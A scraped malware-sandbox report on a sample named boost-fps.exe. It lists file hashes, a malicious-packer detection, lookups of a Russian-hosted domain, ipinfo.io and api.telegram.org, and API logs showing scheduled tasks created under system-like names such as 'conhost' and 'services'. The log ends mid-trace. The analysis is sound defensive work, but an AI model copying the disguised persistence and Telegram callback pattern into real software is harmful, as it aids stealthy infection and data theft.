popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

boost-fps.exe

Malicious Packer
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 April 2, 2021, 11:34 a.m. April 2, 2021, 11:36 a.m.
Size 1.3MB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 92fc1129af30ba08a79113624f51bcb7
SHA256 121dec5bd279daf16e683e472949a269bb9751d6ceae4274875e36abe8871946
CRC32 2E88F181
ssdeep 24576:jqdFcIwibzJkg650JzPsWH3y6F1d+4/ARKWN8+gwSLUS3cU5HYnYzN:jmJpPHy6fdz41NFg5LUSJpYnYB
Yara
  • Malicious_Packer_Zero - Malicious Packer
  • PE_Header_Zero - PE File Signature Zero

Name Response Post-Analysis Lookup
cc58476.tmweb.ru
A 92.53.96.245
92.53.96.245
ipinfo.io
A 216.239.34.21
A 216.239.36.21
A 216.239.38.21
A 216.239.32.21
216.239.36.21
api.telegram.org
A 149.154.167.220
149.154.167.220
IP Address Status Action
149.154.167.220 Active Moloch
164.124.101.2 Active Moloch
216.239.36.21 Active Moloch
92.53.96.245 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "sppsvc" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "KMService" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "taskhost" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "conhost" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "services" has successfully been created.
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
0x60c4078
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 f0 f3 cc 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b41741
registers.esp: 124514304
registers.edi: 124514368
registers.eax: 0
registers.ebp: 124514376
registers.edx: 42421564
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x60c4078
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 7d f3 cc 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b417b4
registers.esp: 124509908
registers.edi: 124514368
registers.eax: 0
registers.ebp: 124514376
registers.edx: 42421564
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x60c40b4
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 b8 f2 cc 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b41879
registers.esp: 124514304
registers.edi: 124514368
registers.eax: 0
registers.ebp: 124514376
registers.edx: 44351960
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x60c40b4
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 45 f2 cc 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b418ec
registers.esp: 124509908
registers.edi: 124514368
registers.eax: 0
registers.ebp: 124514376
registers.edx: 44351960
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x60c40ff
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 80 f1 cc 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b419b1
registers.esp: 124514304
registers.edi: 124514368
registers.eax: 0
registers.ebp: 124514376
registers.edx: 44352784
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x60c40ff
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 0d f1 cc 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b41a24
registers.esp: 124509908
registers.edi: 124514368
registers.eax: 0
registers.ebp: 124514376
registers.edx: 44352784
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6b41ad5
0x60c413b
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 80 f1 cc 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b419b1
registers.esp: 124514188
registers.edi: 124514252
registers.eax: 0
registers.ebp: 124514260
registers.edx: 44352784
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6b41ad5
0x60c413b
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 0d f1 cc 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b41a24
registers.esp: 124509788
registers.edi: 124514252
registers.eax: 0
registers.ebp: 124514260
registers.edx: 44352784
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6b41ae3
0x60c413b
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 f0 f3 cc 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b41741
registers.esp: 124514188
registers.edi: 124514252
registers.eax: 0
registers.ebp: 124514260
registers.edx: 42421564
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6b41ae3
0x60c413b
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 7d f3 cc 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b417b4
registers.esp: 124509788
registers.edi: 124514252
registers.eax: 0
registers.ebp: 124514260
registers.edx: 42421564
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6b41d15
0x60c4186
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 f0 f3 cc 68 89 45 c8 83 7d c8 00 74 1f
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b41741
registers.esp: 124514208
registers.edi: 124514272
registers.eax: 0
registers.ebp: 124514280
registers.edx: 42421564
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6b41d15
0x60c4186
mscorlib+0x30c9ff @ 0x6f8ac9ff
mscorlib+0x302367 @ 0x6f8a2367
mscorlib+0x3022a6 @ 0x6f8a22a6
mscorlib+0x302261 @ 0x6f8a2261
mscorlib+0x30ca7c @ 0x6f8aca7c
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x70562652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7057264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x70572e95
DllGetActivationFactoryImpl+0x3ff1 CreateApplicationContext-0x654b clr+0xa07d8 @ 0x706007d8
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x705d7d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x705d7dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x705d7e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7056c3bf
DllGetActivationFactoryImpl+0x3ead CreateApplicationContext-0x668f clr+0xa0694 @ 0x70600694
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7067a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 39 09 e8 7d f3 cc 68 89 45 bc 8b 55 bc b9 b0 af
exception.instruction: cmp dword ptr [ecx], ecx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6b417b4
registers.esp: 124509812
registers.edi: 124514272
registers.eax: 0
registers.ebp: 124514280
registers.edx: 42421564
registers.ebx: 40785268
registers.esi: 42411136
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
0x6b43c50
